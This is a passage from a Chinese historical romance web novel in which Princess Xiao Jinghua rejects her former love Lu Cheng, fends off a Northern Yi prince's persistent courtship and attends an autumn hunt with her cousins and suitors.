只是不知,她做了何事惹怒了皇伯父,被终身禁足在这座宫殿里。弥留之际,也未得皇伯父垂怜,在她去后,连唯一的儿子也不得父亲喜爱。 风送花香至,萧婧华捂了捂鼻子,感觉头好像更闷更晕了,急忙转身离开。 悉索声响,枝叶在月色下共舞,影子在地上变换成不同的模样。 提灯走远了,萧婧华仰头望着挂在柳梢上的圆月,淡声道:“跟了这么久不累吗?出来吧。” 风声骤停,树后走出一道身影。 他缓步走到萧婧华身后,颀长身影在地上映出一道长影,与萧婧华的重叠在一处。 被酒浸过的嗓音带着低磁沙哑,“北夷此前从未传出过和亲的风声,或许,那只是三王子的心血来潮。” 萧婧华转身。 男子的模样在灯光与月色下格外清晰。 她并不意外来人是谁,反问道:“然后呢?”被她注视着,陆埕有些许紧张,“亦或许……是他们口风太紧。” “所以。”萧婧华抬眸,冷淡问:“陆大人究竟想说什么?” 陆埕抿唇,“若他们一定要让你去和亲,你怎么办?” “若那时,自当有我的父兄为我。操心。” 萧婧华将他打断。 陆埕闭眸,鼓起勇气将剩下的话说完,“你不如放出话去,就说身上早有婚约。” “陆大人说笑了。”萧婧华轻笑,“我从何处寻个与我有约之人。” “王爷和太子……会想办法的。”陆埕缓声。 “谎言,是最容易被戳破的。” 萧婧华提灯而立,发顶凤冠在月色下依旧熠熠生辉,“本郡主可不想颜面扫地。” 落叶轻拂裙摆,她迈开步子,叮当声传荡开来。 “何况,你我早已没有半点关系,嫁或不嫁,都是我自己的事,便不劳陆大人操心了。” “婧华……” 陆埕颤声,“别……” “陆埕。” 萧婧华在他一步之外前停下,琉璃般晶莹剔透的目光定定看着他。 陆埕一怔。 少女亭亭玉立,面似白玉无瑕,貌如九天玄女。 掌中灯笼散发着温暖圣洁的光芒,口中吐露出的话,却让陆埕脸上浮现出痛色。 她笑着,眉间笑意似明媚朝霞,一如往昔。 “我们不是说好了吗?” 说好了,各自婚娶,再无瓜葛。 萧婧华迈步,发冠流苏擦着他的肩而过,发出清脆的铃声。 陆埕怔忪抬首。 叮当铃声在他耳畔不断回响,只闻声,不见影。 他亲眼看着,与他重叠的影子不断向前移动,最终与他脱离。 “若非往年情谊,我不会再见你。” 陆埕面色苍白,良久,在那道身影即将走出视野前,他艰难出声。 “我们当真,回不去了吗?” 萧婧华一顿。 银辉从天洒落,她被笼罩在月辉中,全身散发着柔光。 手中提灯随风晃动,裙裾翩飞,她立在月下,似要乘风登月。 萧婧华启唇,一字一字,坚定无比,“我从不后悔。” 不后悔爱他这么多年,也不后悔弃了他。 她不会再沉湎于过去,她只会昂起头,大步向前。爱也好,恨也罢,皆被她弃于身后。 永不回头。 她有勇气去承担未来的好与坏,是与非,爱和恨。 无论什么结果,她都认。 这才是她萧婧华。 身后寂静无声,萧婧华轻轻一笑,“陆大人,忘了吧。” 忘了过往一切,重新开始。 她踩着落叶,一步步远去。 身后。 陆埕还立在原地,目光凝着她离去的背影,枯朽古木般一动不动,仿佛困在沼泽里出不去了。 一如她从前。 而她当真,从未回头。 …… 夜色渐凉,夜风擦过肌肤,留下无数个小疙瘩。 萧婧华搓了搓手臂,感觉有些冷,目光四处看了看,准备回去。 旁边树上骤然发出巨大的响声,她双肩一抖,吓了一跳,冷斥道:“什么人?!” 树上骤然响起一声轻笑,萧婧华猛一抬头,却是一怔。 月光下,树梢桂花随风飘落,有的缀在她发间,有的落在凤羽上,有的顺着她鼻尖坠落,徒留一阵浅淡花香。有花飘飘然从她眼前落下,萧婧华伸手,掌心将它接住。 “花下看美人,这可是草原上难得一见的景色。” 桂花树上落下一道衣角,男人悠悠的嗓音在夜中散开,“方才那个男人,听说是大盛最年轻的侍郎。小金花,他是你的心上人?” 第52章 听到这个难听的称呼,萧婧华面色一冷。 “本郡主记得提醒过王子,别再这么叫我,王子莫非是记性不好?” “诶,本来是挺好的,可一见郡主,脑子里便什么也记不得了。” 阿史那苍笑道。 萧婧华咬牙,“油腔滑调。” 阿史那苍闷笑,胸膛上下起伏。 他靠在桂花树上,这一动,牵动着枝桠,桂花簌簌掉落,落了萧婧华一身。 皱眉掸了掸袖子上的小花,萧婧华正要往后退,又听那人道:“郡主还未回答我,方才那人,可是你的心上人?” 萧婧华冷脸,“与你何干?” “我恋慕郡主,自然与我有关。” 一只手拨开花枝,月色下,那张硬朗的脸竟也显露出几分柔和。 萧婧华后退,眉心拧着,不想答他的话,转而问道:“方才大殿之上,你为何要那般做?” “哪般?” 阿史那苍垂眸,一眼望见萧婧华紧皱的眉心。 他笑了,“向你求亲吗?” 萧婧华整张脸都皱在一起,尾音上扬,不可置信,“你那是求亲?” 逼婚还差不多。 阿史那苍眼尾轻扬,音色很低,似含着一口烈酒,带着浓烈的醉意。 “盛朝皇帝是你的长辈,我向你的长辈提出婚嫁之事,不是求亲?” 他整个身子躺在桂花树上,姿态舒展,眉心惬意,“在我们北夷,看上了哪个姑娘,自然要当机立断出手,动作慢了,姑娘可是会被狼叼走的。” 阿史那苍倾身,绿色瞳眸在夜色中似散发着幽光,缓声而笑,“我想,你的身边,应当有许多狼。” 比如方才那位陆侍郎。 萧婧华瞥他一眼。 “本郡主不是你们草原的姑娘,想娶我,可不是动动嘴皮子便能做到的。” 阿史那苍含笑点头,“苍心中有数。” 他忽而出声,“想上来吗?” 萧婧华不解,“什么?” 未等她作出反应,树上的人长腿一跨,转瞬落地,随后萧婧华便觉一条铁臂箍住她的腰。眼前一阵天旋地转,提灯啪嗒掉落,花香扑鼻,她落在了满树桂花丛中。 这树并不大,上边还坐了两人,稍微一动便是“簌簌”声响,桂花唰唰下落,盖在仍散发着暖黄光芒的灯笼上。 萧婧华紧紧抓着身下树干,生怕自己掉下去,因着激动,白皙脸庞添了两片红霞,恶狠狠地瞪着罪魁祸首。 “你做什么?!” 阿史那苍靠在另一根树干上,双臂枕在脑后对她道:“方才你偷偷看了好几次,我觉你应当是想上来,怎么,不喜欢?” 他抽出一手,指着天上明月,“树上赏月,照你们中原人的话来说,应当是件雅事。” 萧婧华咬唇,对他怒目而视,“是雅事,可这树明显承受不住两人的重量,本郡主若是摔下去,我要你好看!” 幼年时曾摔下树,从那以后,她再也没有爬过树,以至于此时格外不适。 “想下去?” 萧婧华避开他的视线,语气不好,“不然?” 原以为他会提出要求,可没成想,下一刻,阿史那苍便凑过来,双手握住她的腰,就这么把她提了下去。 萧婧华意外掀眸。 身前胸腔震动,男人灼热的呼吸打在脸上,她听见他在笑。 “放心,不会摔了你。” 萧婧华恍了神。 她瞪了阿史那苍一眼,双脚一落地便转身欲走,连地上的灯也无暇顾及。 阿史那苍的笑声惊走了夜间飞虫,他大步追上萧婧华,与她并肩而立。 “小金花,你考虑考虑,要不要嫁给我?” “不嫁。” “真的不嫁?我这人虽粗野鲁莽,但却是个疼媳妇的。” 少女冷嗤一声,“看不出来。” “你嫁给我,不就能看出来了?” “……不要脸!” 二人吵吵嚷嚷,相伴离去。 夜色寂寥,风轻轻卷走满地残花。 灯光渐暗,骨节分明的手轻触灯笼,有花瓣被风送到手背上,在昏黄的光映照下格外凄凉。 …… 走了一段,萧婧华才意识到自己丢了灯。 不过宫中随处点着灯,不至于看不清路,一盏灯而已,丢就丢了,她也没放在心上。 蓦地停下脚步,身侧的男人及时刹住,“怎么了?” 萧婧华冷声,“快到了,你先进去。” 阿史那苍故意逗她,“为何?” 萧婧华又忍不住瞪他。 这不是明摆着? 他刚才在大殿之上公然求娶,若是二人一同入殿,明日传出去就变成了她与北夷三王子早有首尾。 她可不想再被人当成笑话。 美人即便是发怒,也是好看的。阿史那苍妥协,“好好好,我先进。” “不过,你一定要好好考虑。” 考虑个鬼。 萧婧华翻白眼。目送阿史那苍离开,她在原地等了片刻,正要提步,余光里蓦地闯进一人。 皱着眉辨认片刻,萧婧华意外。 那不是二皇兄吗?他怎么在这儿? 今夜的宫宴,他好似并未出席。 他离开的方向……是柔妃娘娘的…… 那人骤然回头,准确地捕捉到萧婧华站在灯下的身影,意外道:“婧华,你怎么在这儿?” 萧婧华嘟囔,“同样的问题还给二皇兄。” 萧长兴失笑,“自言自语说什么呢?” 萧婧华摇头,“没什么。” 似是看出她在想什么,萧长兴主动解释,“今日是我母妃忌辰,想去她生前住过的地方走走。” “啊?” 萧婧华檀口微张,“抱歉二皇兄,我不知道。” “无碍,也不是什么大事。” 萧长兴笑得没心没肺,“不过我是偷跑出来的,你可别告诉别人。” 他因逃课被崇宁帝禁足一事萧婧华也知,闻言一个劲点头,发上凤羽在夜风中轻颤。 萧长兴低眸看着萧婧华,“殿上之事,我听说了。婧华,若父皇当真要让你去和亲,你愿意吗?” 萧婧华不接思索道:“怎么会?皇伯父不会勉强我的。” 她话里的笃定让萧长兴微微怔住,随后笑了,“也是,父皇向来疼你。” 看了眼挂在夜幕中的明月,萧长兴缓缓道:“好了,我该走了,你可一定保密。否则若是传出去,父皇非得再罚我一顿不可。” 他叹气,“再过几日便是秋猎了,一年就这么一次,我可不想被困在宫里,只能眼睁睁看着你们出去潇洒。” 萧婧华保证,“我嘴一向严,二皇兄放心吧。” 萧长兴对她眨眼,摆摆手走了。 目送他离开,萧婧华转身回去。 殿内和她离开时没什么区别,大抵就是喝醉的人多了些。 她一落座,乐宁便凑了过来,“你怎么去了这么久?” “多在外边透透气不行?” 乐宁撇撇嘴,只当她是因和亲一事心情不虞,大度地不和她计较。 “秋猎快到了,你们说我带哪些衣裳比较好?” 她已到适婚之龄,加之有和亲一说,最近安贵妃正焦头烂额地忙着在为她择婿,生怕膝下唯一的女儿就此远嫁北夷。秋猎这种各家儿郎大展身手的时机自然不能放过,没准看对眼了,就多个女婿了呢。 萧婧华没接话。 端和的母妃良贵人有着和安贵妃同样的忧虑,她这几日也被母妃灌输了不少早些定下早些安生的话,隔着萧婧华,与乐宁积极讨论起来。 说着说着,乐宁忽而问:“对了琅华,上次灯会那两名公子瞧着还不错,他们都有婚配了吗?” 萧婧华回忆了片刻,发觉她说的应该是邵嘉远和宁拓,闻言摇头,“应当没有。怎么,你看上他们谁了?” 乐宁脸色爆红,“你胡说八道什么呢!我就问问。”她哼声,“我才不捡你不要的男人。” 萧婧华失笑,“行,为你的志气干一杯。” 乐宁撇开脸,余光里萧婧华一直举着杯,她嘟着唇,端起酒杯和她轻轻一碰,利落地一饮而尽。 听着姐妹俩说着闲话,夜不知不觉更深了。 恭亲王今夜喝得多了些,踉跄着被宫人搀扶着。 萧婧华忙上去帮忙,完着父王的胳膊,小心地搀着他离开。殿外早已备好轿撵,和恭亲王一前一后落座,萧婧华一转眸,正对上一双眼睛。 其他官员大数醉得不省人事,他却跟没事人似的,目光深邃,笑着对她挥手。 萧婧华漠然移开目光。 马车停在宫门口,萧婧华刚上去,迎面一辆车驶来。 谢瑛在敬国公夫人的瞪视下打开车窗,大咧咧探出半个身子,一脸发愁地问:“没事吧?” 隔着缝隙,萧婧华看到云慕筱同样担忧的神情。 她笑着安慰,“没事。” 谢瑛不太放心,回头和云慕筱对视一眼,“明日我们去你府上。” “好啊。” 萧婧华含笑道:“我等你们。” 车窗阖上,马车缓缓驶出。到王府时,恭亲王早已睡得不省人事。 汤正德迎出来,见状忙让人把王爷扶进去。 萧婧华跟着进了正房,取过侍女手上的帕子,轻轻为父王擦拭。 收拾妥当后,她正要走,恭亲王忽而呓语。 “婧、婧华,父王,绝不、绝不会让你和……” “……和亲。” 萧婧华眼皮发烫,忽然就湿了眼眶。 她回身,手心搭在恭亲王手背上,轻声道:“我知道,父王会一直保护我。” …… “哐当——” 好似是什么东西被撞到的声音。 陆夫人硬生生被惊醒了。 “什么动静?” 她揉了揉眼睛,起身披起搭在衣桁上的外裳,摸黑点了灯,用手拢住,缓慢走出。 借着灯光,陆夫人看清了摔在地上那张熟悉的脸,提起的心落了下去,用手在鼻前扇了扇,“这么冲的味,你这是喝了多少?” 陆埕在孟年的搀扶下起身。 后者回:“大人没喝,那是不小心洒在身上的。” “没喝平白摔个大跟头?”陆夫人白他一眼,“真是越活越过去了。” 她打了个哈欠,转身回房,“厨房温着醒酒汤,喝了早些睡吧。” 陆埕没动。 孟年为难,“大人……” “不必管我,自去歇息吧。” 陆埕哑声。 他松开孟年的手,小心翼翼抱着怀里早已熄灭的灯,缓步回房。 孟年站在院里,扶起被陆埕绊倒的竹竿,除了叹气还是叹气。 片刻后,那人双手空空又回来了,绕着院子小跑。 孟年无法,反正也睡不着,索性和他一起。 银辉清冷,他跟在陆埕身后,悄悄搓了搓手臂。 身上冷,心也冷。 第53章 昨夜没睡好,萧婧华醒来时头一阵阵发疼。 她靠在床头发了会儿呆,想起云慕筱姐妹俩将要登门,闭着眼揉了会儿太阳穴,随后唤了箬竹进来。 洗漱后略吃了两口粥,萧婧华闲着无事,去了琴房。 托着下巴,一手拨弄琴弦。 音不成曲,惊得窗外飞鸟“噗噗”扇动双羽。 指尖重重在弦上滑动,一滴血珠残留。 萧婧华看着指尖血,双唇微动,将它抿掉。 窗外啪啪脚步声渐近,她起身,“是筱筱和阿瑛到了?” 夏菱缓了口气,猛地摇头,“郡主,是北夷的三王子。” 唇内残存着淡淡的血腥气,萧婧华眉心微拧,“他来作甚?” “苍头一次来京,在京中唯识郡主,不知郡主可愿带苍领略上京风采?” 厅堂内,阿史那苍笑意盎然。 萧婧华冷漠,“三王子说笑了,鸿胪寺与礼部那么多官员,何人不能与三王子同游京城。” 阿史那苍无赖,“可我只想与郡主一道。” 与箬竹一同站在萧婧华身后的箬兰暗戳戳道:“不要脸。” 萧婧华深吸一口气,压着脾气道:“可惜本郡主今日有客登门,不能应三王子之约。” “那所谓的客,与郡主很要好?”阿史那苍问。 “自然。”萧婧华颔首,“是我的闺中密友。” 阿史那苍理解了片刻“闺中密友”的意思,挑眉笑道:“既是郡主好友,那让她跟着不就好了?” 萧婧华:“……” 她咬牙,“我们、并无出门的意愿。” “既然如此,那我留下。”阿史那苍耸肩,无所谓道:“只要与郡主在一处,我在哪儿都行。”这人简直油盐不进! 萧婧华气得额角青筋直跳。 她正想说随你,话到嘴边,猛地想起一事,问身后的箬竹,“父王醒了吗?” 箬竹摇摇头,“应当还睡着。” 昨夜宫宴上,父王听见阿史那苍公然求娶喝了那么多,若是知道他追到王府来了,不知得有多气。 为了父王,她也得把这人给弄走。 萧婧华冷笑,“行,你既然想跟,那就跟着吧。” 阿史那苍起身,手捂着胸口,行了个北夷礼,嗓音含笑,“多谢郡主。” 剜他一眼,萧婧华转身就走。 一门心思想着把这人弄出王府,她连衣服也没换,留下箬竹箬兰,就这么出了府。 敬国公府的马车刚好驶来,萧婧华招手。 “筱筱,阿瑛!” 车帘撩起,谢瑛一脸惊讶,“婧华,你怎么在这儿站着?” 萧婧华眼神示意她看向自己身后。 谢瑛几乎瞬间皱起眉头。 没让下人备马,萧婧华一溜烟钻进了敬国公府的马车,隔着车窗,居高临下地望着下方的阿史那苍。 “三王子可得跟上了。” 阿史那苍挑眉一笑,手指放在唇边,吹了声哨子。 一匹黑马“哒哒”跑到他身边,他动作利索地翻身上马,视线与萧婧华齐平。 “郡主放心,丢不了。” 萧婧华甩他一个白眼,放下车帘坐了回去,“快走。” 予安和觅真接替了原来的马车夫,云慕筱的武婢谢春也出了车厢,与二人一同坐在外头。 “他怎么跟来了。” 谢瑛不满。 “不知道。” 萧婧华语气也不太好。 帘上隐隐映出影子,云慕筱放低音量,“之前倒是并未听过北夷有和亲的意愿。” 萧婧华心中一动,“你们在边关住过,可听说过阿史那苍?” 谢瑛努力回想,老实摇头,“想不起来了。” “你没什么印象也不奇怪。”云慕筱道:“我们那儿防的是西边戎族,至于北夷,建朝初期,太。祖便与他们可汗定下互不侵扰的盟约,这些年虽有摩擦,但都是小打小闹。” “不过边关人来人往,消息灵通,我倒是听过这位北夷三王子的名字。” 谢瑛连忙道:“那你快说说。” 云慕筱回忆着,“听说他的母亲出身卑微,因生得貌美被可汗宠幸,他出生后,那位阏氏不知为何被弃,三王子,自幼是在奴隶堆里长大的。” “后来北夷内乱,可汗命悬一线,三王子替父挡刀,这才入了可汗的眼。此后异军突起,如今已是下任可汗的强力竞争者。” 谢瑛若有所思,“听起来是个狠角色。” “是啊。”云慕筱叹气,担忧道:“他此举,也不知是何考量。” 若是一时兴起便罢了,可如果打着与大盛联姻增加夺位砝码的念头,那他定不会善罢甘休。 萧婧华认真听着,未置一词。 她掀开车帘。 阿史那苍立即警觉地看了过来,见是她,扬唇笑道:“你们在说我?” 萧婧华一惊。 他俯身,含笑道:“你想知道什么,直接问我便是,我定知无不言。” “说的比唱的还好听。” 萧婧华白他一眼,重重放下帘子。 阿史那苍耸耸肩,“阿苍,她不信我。” 嘹呖清啼响彻天际,一只鹰在天边翱翔,似在回应。 他把缰绳在手上绕了两圈,口中哼着不成调的曲子,慢悠悠跟在马车后。 萧婧华带着云慕筱姐妹两人在各种胭脂首饰铺子里打转。 她本想消耗阿史那苍的耐心,可这人着实难缠,不仅没有不耐烦,甚至极为好学,一会儿问这是什么,一会儿又问那个东西的用途。 萧婧华心生疲惫。 谢瑛一手一个,拉着两人出了铺子,悄声道:“我去替你教训教训他。” “可别。” 萧婧华赶紧抓住谢瑛的手,“他没做什么,倘若动手,那就是咱们落了下风。你回去后定会挨罚。” 谢瑛苦恼,“那怎么办,就让他这么跟着?” 话落的下一瞬,阿史那苍从铺子里走了出来,几人齐齐住嘴。 “接下来去哪儿?” 他看着兴致还不错,好似真是来闲逛了。 萧婧华张唇。 “郡主!” 一道惊喜的声音猛地吸引了众人的注意力。 宁拓快步而来,“还真是郡主,方才我还以为自己看错了。” 萧婧华心累。 怎么又来了一个?! 阿史那苍眯着眼望着走近的少年,在萧婧华耳畔低声道:“他也是一匹狼?” 什么狼? 萧婧华一怔。 疑惑间,宁拓已走到近前。 他笑道:“郡主,两位表妹,好巧。” 云慕筱:“宁表哥。” 谢瑛随意点了点头。 “你是什么人?”阿史那苍睨着宁拓。 后者微怔,目光上下扫着打量他。 宁拓不知昨夜宫宴上的事,眉心微皱,迟疑道:“你是北夷人?” 阿史那苍颔首,“阿史那苍。” 宁拓礼貌回礼,“宁国公府,宁拓。” 什么国公府对阿史那苍来说都无所谓,他在意的是这少年看向萧婧华的眼神,让他浑身竖起刺。 宁拓也没把阿史那苍放在心上,对萧婧华道:“我温习完功课出来散心,既有缘与郡主相遇,不如一起用个午膳?” “小金花,咱们说好的,今日。你得陪着我。” 萧婧华瞪向阿史那苍,“我们什么时候说好了?” “今晨在王府啊,你说了,我想跟便跟,那可不是说好了?”阿史那苍一脸无辜。 “三王子可真会曲解别人的意思。”萧婧华冷嗤。 宁拓越听眉头皱得越厉害,悄悄问谢瑛,“瑛表妹,他究竟是何人?” “北夷的三王子。” 想了想,谢瑛将昨夜的事说了,话落,成功看见宁拓的脸沉了下来。 她做了个加油的口型。 宁拓沉默两息,冷声开口,“郡主不愿,三王子何必勉强。” 阿史那苍饶有兴致地望向他,“这世上之事,多是勉强。只有无用之人,才会不争不抢。” 他抱着手,上下扫了宁拓一眼,“我看这位公、公什么?” 他偏头问萧婧华。 萧婧华挪开视线,不搭理他。 阿史那苍也不生气,笑了笑道:“你看,她对我生气愤怒,可对你嘛,明显反应平平,这是我勉强的结果,你有吗?” 他说这话不仅不惭愧,反而很是自豪,跟已经抱得美人归似的。 萧婧华和云慕筱谢瑛三脸震惊,同样一副难以言述的表情。 不是这人没毛病吧? 这是什么值得骄傲的事吗? 宁拓却被他这番话刺痛了。 他早已发觉,萧婧华面对陆埕时,总是冰冷拒人于千里之外;面对邵嘉远,虽不明显,却有股隐隐的抗拒。唯独对他,内心平静,仿佛只是个有过几面之缘的陌生人,丝毫无法调动她的情绪。 他安慰自己,他与郡主相识最晚,郡主只是与他不熟,他努努力,一定能让郡主对他敞开心扉。 可有朝一日,一个比他更晚认识郡主的人轻易令她露出平淡之外的表情,这让宁拓无法接受。 他没办法再自欺欺人。 郡主,当真对他无意。 对上宁拓泛着红意的眼睛,阿史那苍又补上一刀,哼笑一声,“被我说中了?” 宁拓深呼吸,保持着最后一丝冷静。 “听闻北夷人皆勇士,不知三王子身手如何?” 阿史那苍懒散道:“应当比你要好。” 宁拓猛地抬头,“那宁某今日,想领教领教。” 阿史那苍笑,“奉陪到底。” 话音刚落,宁拓已经对他扬起了拳,整个人冲了出去。 “不是。” 萧婧华一脸的一言难尽,“他们这儿没问题吧?” 长指指了指脑袋。 “男人。”云慕筱总结,“冲动是常有之事。” “哇。”谢瑛赞叹,“打起来了。” “那什么三王子身手不错嘛,咦,宁表哥居然也可以诶。” 萧婧华瞥去一眼。 二人拳拳到肉,看着就疼。 似是注意到此处人多,他们打着打着,竟移到一边的巷子里去了。 萧婧华拉着云慕筱和谢瑛,“咱们快走。” “走了?”谢瑛遗憾,“我还没看够呢。” 云慕筱:“婧华先走吧,宁表哥在这儿,我和阿瑛就这么走了,怎么也说不过去。” 萧婧华思虑两息,“行,那我先走了,秋猎再会。” 她带着予安和觅真,快步离开。 离得远了,萧婧华捂着胸口打了个颤。 简直让人头大。 既然都已经出来了,她想着去看江妍卿和初一。 到了虞侯府,守卫一见她便道:“郡主,大姑娘不在府上。” 萧婧华皱眉,“江姐姐去哪儿了?” 守卫小声道:“大姑娘怕留在家里有碍五姑娘的姻缘,搬到郊外庄子上去了。” 第54章 “郡主,郡主?” 箬兰连唤了萧婧华两声,伸手在她面前挥了挥。 “啊?” 萧婧华愣愣回神。 箬兰怪道:“您想什么呢,这么入神。” 摇了摇头,萧婧华抱紧怀中枕头,缓缓将头靠在身后软垫上。 她只是在想,好端端的,江姐姐作甚要带着小初一去庄子上住。 什么有碍念卿的姻缘,她半句都不信。 当朝风气比起前朝来说不知好了多少倍,寡妇再嫁也不是什么稀罕事,有的人家甚至钟爱寡妇,尤其是那种生养过的。 若是忧心念卿不好寻姻缘,当初虞侯夫妇就不会把江姐姐接回京。 也不知发生了何事,让她做出这般决定。 等见了念卿,她定要好生问问。 “郡主!”箬兰无奈,“您又在想什么呢?” “没、没什么。” 萧婧华抬头,挥去脑子里乱七八糟的想法问道:“你方才说什么?” 箬兰回:“郡王妃来了。” 她朝外边努努嘴,“箬竹姐姐正领着她进来呢。” 透过窗户,萧婧华见到正向这边缓步走来的几道身影,连忙放下怀里的枕头,起身迎了出去。 “表嫂,你怎么也来了。” 她几步上前扶住康郡王妃,动作格外小心,“你这怀着身子呢,若是磕着碰着该如何是好,表哥也真是心大。” 康郡王妃眉间神色格外温柔,轻轻笑了声,“是我央着他来的,在府里闲着也是无聊,还不如出来热闹热闹。” 她轻柔地抚摸着小腹,温声道:“这都过了三月了,太医说没什么大碍,小心些就是了。” 萧婧华看了眼她将将显怀的肚子。 康郡王妃见她好奇,笑道:“想摸摸吗?” “可以吗?”萧婧华眨眼。 康郡王妃笑着颔首,她小心翼翼地探出手,在她凸起的肚子上摸了摸。 萧婧华感受了一会儿,傻愣愣地问:“怎么没有动静?” “我的傻妹妹。”康郡王妃在她额间点了下,“这才三个月,早着呢,能有什么动静。” 萧婧华红了脸。 “等你成婚有了孩子后就知道了。” 康郡王妃挽了萧婧华的手,与她一同进屋去。 成亲? 萧婧华微愣。 以前她天天嚷着嫁给陆埕后要如何如何,可如今,这个词对她而言格外陌生遥远。 若非康郡王妃提起,她几乎都要忘了。 不对,还有个人,最近天天嚷着要娶她。 萧婧华烦不胜烦,直接躲进了宫,直到秋猎开始,才随着萧长瑾来到西山猎场。 在罗汉床上落座,康郡王妃问:“我闲来无事才一个人出来走走,你呢,怎的在屋里待着,不去跑马狩猎?” 说起这个萧婧华便郁卒,抱怨道:“还不是乐宁,她的骑装坏了,回去换一件那么简单的事,她偏要拉着我跟端和一起,回来时还把我们给绊倒了。” 平白无故摔了一跤,谁还有心情去打猎? 更重要的是,当时好多人都将她们三人的丑态看在眼里,大庭广众之下出了这么大的丑,她气得恨不得把乐宁的脸摁进泥坑里,怎么可能再出去让人笑话。 反正今日她是不会出门了。 康郡王妃没忍住笑,“乐宁都到了出嫁的年纪,性子怎么还是这般毛躁。” “天生的,这辈子她大抵是改不了了。” 萧婧华歪在靠枕上,一脸郁郁。 康郡王妃捂唇轻笑。 箬兰奉上糕点。 知道她有孕,皆是怀孕之人能入口的。 康郡王妃看了两眼桌上的枣糕,捻起一块放在唇边。 轻轻咬了一口,感受着唇齿间的香甜,她望着萧婧华略带疲意的神色,缓声道:“这几日睡得不好?” 萧婧华揉着两下额角,“是有些。” 她已经好几个月没做那梦了,可这两日也不知怎的了,夜里总是睡得不太好,模模糊糊能梦见那些令她不愉快的事。 康郡王妃道:“我前些时日也睡得不安慰,你表哥特意寻了太医为我配了安神香,用了两日,倒是能入眠了。” 她从腰间解下一枚香囊,放在桌上,“我那儿还有多的,婧华若是不嫌弃,就先用我这个。” 那是枚银质镂空的香囊,表面光滑铮亮,做工很是精巧。 萧婧华拾起,放在鼻下轻嗅。 “闻着还不错。” 康郡王妃笑,“若不是好东西,我怎敢拿出来。” 指腹摩挲着香囊,萧婧华笑道:“那就多谢表嫂割爱了。” 康郡王妃眉眼柔和,“赠与婧华,不算割爱。” 坐了没多久,文若长公主便派人寻来了,康郡王妃只得告辞。送她到院门口,康郡王妃笑道:“也不知这次能否见到婧华在猎场上的英姿。” 萧婧华懒懒摆手,“表嫂只管等着。” 秋猎足有七日呢,这才第一日而已。 夜间有宴,听说太子亲自猎到一头鹿献给了崇宁帝。 崇宁帝大喜,命人把鹿烤了,分飨群臣。 萧婧华嫌丢人,就算是云慕筱和谢瑛亲自来请也不去,萧长瑾只好派人送来鹿肉。 听说乐宁端和也没去,萧婧华当场冷笑一声,心情转晴,愉快地吃了晚膳,在院子里悠然赏月。 不知是那枚安神香还是其他原因,晚上萧婧华睡得极好,睁眼便是天亮。 第二日,她还是不想见外人,索性带着箬竹几人,杀去了罪魁祸首的住所。 当着众多世家公子贵族小姐的面,乐宁这次丢人丢大了,见萧婧华来了,恹恹地把脸埋回枕头里。 端和坐在一旁绣花不搭理人。 萧婧华:“我无聊,打叶子牌吗?” 端和放下绣帕,“有赌注没?” “谁赢得最多,我把前两年皇伯父送的红宝石头面送她。” 乐宁顿时来了精神,“说好了,不准反悔。” 那套红宝石头面是进贡来的,她一眼就喜欢上了,还没向父皇讨要,他转头就送去了恭亲王府,气得她三天没吃好饭。 “行。那你们的赌注呢?” 端和心动,咬牙道:“我那套白玉棋。” 乐宁忍着心痛,“我的绿绮琴。” 都是好东西,萧婧华满意,“可。” 三人拉了箬竹作陪,打起了叶子牌。 都不是什么好捏的软柿子,这个赢了,那个说再来一次,那个赢了,这个又不服。 足足打了两日的牌,仍分不出胜负。 乐宁又输了,气冲冲道:“不是秋猎吗?咱们怎么净躲在屋里打牌了。” 萧婧华与端和齐齐冷笑,异口同声道:“怪谁?!” 乐宁心虚,耍赖道:“我不管,我不想打了,有本事咱们赛马去,谁赢了东西归谁。” 端和看向萧婧华。 都两日了,该忘了吧。 萧婧华沉思片晌,同意了,“行,这次不准再玩赖。” “谁玩赖了?”乐宁底气不足。 端和目光发虚。 萧婧华向二人丢去一个白眼。 萧家的姑娘大多都会骑射,去往马场的路上,萧婧华余光捕捉到两道极为熟悉的身影。 一高一矮两人站在树后,氛围瞧着还挺和谐。 眉尾一扬,她不由笑了起来。 “你笑什么呢?” 乐宁凑过来。 萧婧华推开她的脸,“你管我。” 乐宁正要反击,她已加快了速度。 “这人!” 乐宁捏紧拳头,急急追上去。 到马场时,萧婧华不由皱起了眉。 好多熟人。 宁拓和阿史那苍在两匹马前相对而立,颇有些箭弩拔张的意味。 旁边竟然还站着邵嘉远。 不出意外地看见谢瑛,萧婧华快步走过去,“他们这是在作甚?” 谢瑛听见声音偏头,惊喜道:“婧华!” 她朝几个男人抬抬下巴,“赛马呢。” 萧婧华没问他们怎么凑在一处的。 只要有心,在哪儿不能碰面。 “那日他们怎么收的场?” 谢瑛疑惑,“还能怎么收场,就打了一架啊。”她笑,“他们有数着呢,都没往脸上招呼。” 打的净是又疼又看不出的暗处。 萧婧华望向二人。 面上是看不出什么。 “萧婧华!” 乐宁气喘吁吁跑来,大声指责,“你跑这么快做什么,都不知道等等我。” 她这一嗓子声音极大,马场上的人纷纷向这边看来。 萧婧华:“……” 端和坠在最后,目光在场内扫了一圈,默默离萧婧华和乐宁远了几步。“见过两位殿下、郡主。” 众人躬身见礼。 “小金花,你终于舍得出门了。” 阿史那苍撇下宁拓,大步朝萧婧华走来。 看着她的脸,他笑道:“不过是摔了一跤,也不是什么丢人的事,你怎么这么容易害羞。” 出了那么大的丑,她都快没脸见人了,这还不丢人??? 萧婧华懒得和他说,把头偏向一边。 下一刻,她蓦地怔住。 方才视线受阻,她并未瞧见马厩后还有道人影。 他站在一匹棕马前,手里拿着一把马刷子,正细细梳理马儿身上的鬃毛。 神色温和认真,动作轻缓似行云流水,潇洒自然。 萧婧华认出了那匹马,是她每年来西山猎场常骑的清晨。 “小金花,你在看什么?” 阿史那苍突然凑近,顺着她的视线看去。 萧婧华回神,往旁边让一步。 阿史那苍记性很好,看清那人的脸后,目光暗了一瞬,随后笑道:“陆侍郎今日怎么去做了马倌?” 陆埕回眸,对上萧婧华清透的眸光,长睫一颤,放下马刷,缓步走去。 他略有些紧张地唤:“郡主。” 随后才看向阿史那苍,规避了他的问题,语气清冷,“三王子。” 阿史那苍双眸微眯。 萧婧华冷淡颔首,“陆大人。” “郡主。” 宁拓追上来,身后还跟着邵嘉远,对她温和地笑,“郡主,许久不见了。” 萧婧华随意点了下头。 谢瑛看看这个又看看那个,在心里叹了口气。 怎么这种场合,每次都有她? 阿史那苍凝眉扫了眼这三个男人,视线最后落在陆埕身上。 别人对他来说都算不上威胁,唯有这人。 毕竟,据他调查,这人可是被萧婧华真心喜欢过许多年的男人。 就算如今不算她的心上人,可在萧婧华心里,他与普通人定是不一样的。 